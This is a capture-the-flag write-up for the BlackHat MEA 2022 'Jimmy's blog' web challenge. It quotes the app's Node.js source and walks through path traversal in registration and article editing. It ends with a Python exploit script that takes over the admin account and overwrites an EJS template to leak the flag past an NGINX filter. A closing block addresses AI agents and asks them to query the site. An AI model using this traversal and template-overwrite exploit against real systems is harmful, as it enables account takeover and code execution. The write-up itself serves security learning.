# Jimmy's blog

## Difficulty

Hard

## Points

400

## Description

The technology is always evolving, so why do we still stick with password-based authentication? That makes no sense! That’s why I designed my own password-less login system. I even open-sourced it for everyone interested, how nice of me!

## Quick Analysis

From the attached source code.

### Content of index.js

```javascript
...
const utils = require("./utils");
...
app.get("/article", (req, res) => {
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const contents = fs.readFileSync(article_path).toString().split("\n\n");
        const article = {
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        }
        res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})
...
app.post("/register", (req, res) => {
    const username = req.body.username;
    const result = utils.register(username);
    if (result.success) res.download(result.data, username + ".key");
    else res.render("register", { error: result.data, session: req.session });
})

app.post("/login", upload.single('key'), (req, res) => {
    const username = req.body.username;
    const key = req.file;
    const result = utils.login(username, key.buffer);
    if (result.success) { 
        req.session.username = result.data.username;
        req.session.admin = result.data.admin;
        res.redirect("/");
    }
    else res.render("login", { error: result.data, session: req.session });
})

app.get("/logout", (req, res) => {
    req.session.destroy();
    res.redirect("/");
})

app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})
```

### Content of article.ejs

```html
<!doctype html>
<html>
    <%- include('head.ejs') %>
    <body class="text-dark bg-light">
        <%- include('navbar.ejs') %>
        <div class="container my-5 px-5">
            <div class="card mb-4">
              <div class="card-header">
                <%= article.date %>
              </div>
              <div class="card-body">
                <h5 class="card-title"><%= article.title %></h5>
                <p class="card-text">
                  <%= article.summary %>
                  <hr class="mb-0">
                  <div class="pre-line">
                    <%= article.content %>
                  </div>
                </p>
              </div>
              <div class="card-footer text-muted">
                Generated by AI
              </div>
            </div>
        </div>
        <%- include('scripts.ejs') %>
    </body>
</html>
```

### Content of edit.ejs

```html
<!doctype html>
<html>
    <%- include('head.ejs') %>
    <body class="text-dark bg-light">
        <%- include('navbar.ejs') %>
        <div class="container my-5 px-5">
          <h3 class="text-center">Welcome jimmy_jammy, your flag is</h3>
          <p class="mb-5 text-center"><%= flag %></p>
          <h3>Meanwhile, please feel free to edit your article</h3>
          <form method="POST">
            <textarea class="form-control mb-3" rows="15" name="article"><%= article %></textarea>
            <button type="submit" class="btn btn-dark w-100">Save Changes</button>
          </form>
        </div>
        <%- include('scripts.ejs') %>
    </body>
</html>
```

### Content of utils.js

```javascript
const sqlite = require("better-sqlite3");
const path = require("path");
const crypto = require("crypto")
const fs = require("fs");

const db = new sqlite(":memory:");

db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

function login(username, key) {
    const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
    if (!user) return { success: false, data: "User does not exist" };

    if (key.length !== 1024) return { success: false, data: "Invalid access key" };
    const key_path = path.join(__dirname, "keys", username + ".key");
    if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
    return { success: true, data: user };
}

module.exports = { register, login };
```

### NGINX configuration

```nginx
server {
        listen 80 default_server;
        listen [::]:80 default_server;

        server_name _;

        location / {
			# Replace the flag so nobody steals it!
            sub_filter 'placeholder_for_flag' 'oof, that was close, glad i was here to save the day';
            sub_filter_once off;
            proxy_pass http://localhost:3000;
        }
}
```

### Analyzing `index.js`

* The `index.js` requires `util.js` file.
* The endpoint `/register` requires a username only and returns a key for authentication.
* The endpoint `/login` requires a username and a `key` file.
* The flag passed to `article.ejs` view `res.render("article", { article: article, session: req.session, flag: process.env.FLAG });`.
* The flag is not rendered via `/article` endpoint based on the content of the `article.ejs`.
* The flag passed to `edit.js` view `res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });`.
* The flag is rendered via `GET` `/edit?id=<INTEGER>` endpoint based on the content of the `edit.ejs`: `<p class="mb-5 text-center"><%= flag %></p>`
* The endpoint `/edit` requires an admin session `if (!req.session.admin) return res.sendStatus(401);` for both methods `GET` and `POST`.
* The `POST` endpoint `/edit?id=<string>` is vulnerable, where you could path traverse via the `id` parameter `./articles/<id>` and write content to the traversal path via the article `POST` parameter. `fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));`

### Analyzing `utils.js`

* the utils file registered an administrator user with `jimmy_jammy` as a username and a random key with 1024 bytes `register("jimmy_jammy", 1);`.
* the register function is vulnerable to account takeover, where you could traversal and overwrite an existing user's key.

### Analyzing NGINX configuration [\[1\]](http://nginx.org/en/docs/http/ngx_http_sub_module.html#sub_filter)

* the flag is replaced with `oof, that was close, glad i was here to save the day` via NGINX `sub_filter`.\
  The ngx\_http\_sub\_module module is a filter that modifies a response by replacing one specified string by another.\
  This module is not built by default, it should be enabled with the --with-http\_sub\_module configuration parameter.

## Exploitation

* Register `./jimmy_jammy` to overwrite the actual `jimmy_jammy` key.
* Login with `jimmy_jammy` and use the key that we obtained via the registration function.
* Edit the `edit.js` view to `<%= btoa(flag) %>` which encodes the flag to base64 via `POST` `/edit?id=../views/edit.js` `article=<%25%3d+btoa(flag)+%25>` to bypass the NGINX sub\_filter.

```python
from requests import get, post, Session
session = Session()

url = 'https://blackhat4-48f58fefc9582c2fac90f05e4182f191-0.chals.bh.ctf.sa'

username = 'jimmy_jammy'
# register
endpoint = '/register'
data = { 'username': f'./{username}' }
key = post(url + endpoint, data = data).content
files = { 'key': (f'{username}.key', key, 'application/vnd.apple.keynote') }

# login
endpoint = '/login'
data = { 'username': username }
session.post(url + endpoint, files = files, data = data)

# overwrite the edit.ejs view
endpoint = '/edit'
params = { 'id': '../views/edit.ejs' }
data = { 'article': '<%= btoa(flag) %>' }
session.post(url + endpoint, data = data, params = params)

# get the flag
endpoint = '/edit'
params = { 'id': '1' }
flag = session.get(url + endpoint, params = params).text
```

## The flag

Navigate to the endpoint `/edit?id=1` to get the base64 flag

```python
from base64 import b64decode

b64decode(flag).decode()
```

```
'BlackHatMEA{551:16:74149ec3a111aa888acdca0eff649540e96c3f1b}'
```

## References

* <http://nginx.org/en/docs/http/ngx\\_http\\_sub\\_module.html#sub\\_filter>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/ctf/blackhatmea-quals-2022/jimmys-blog.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
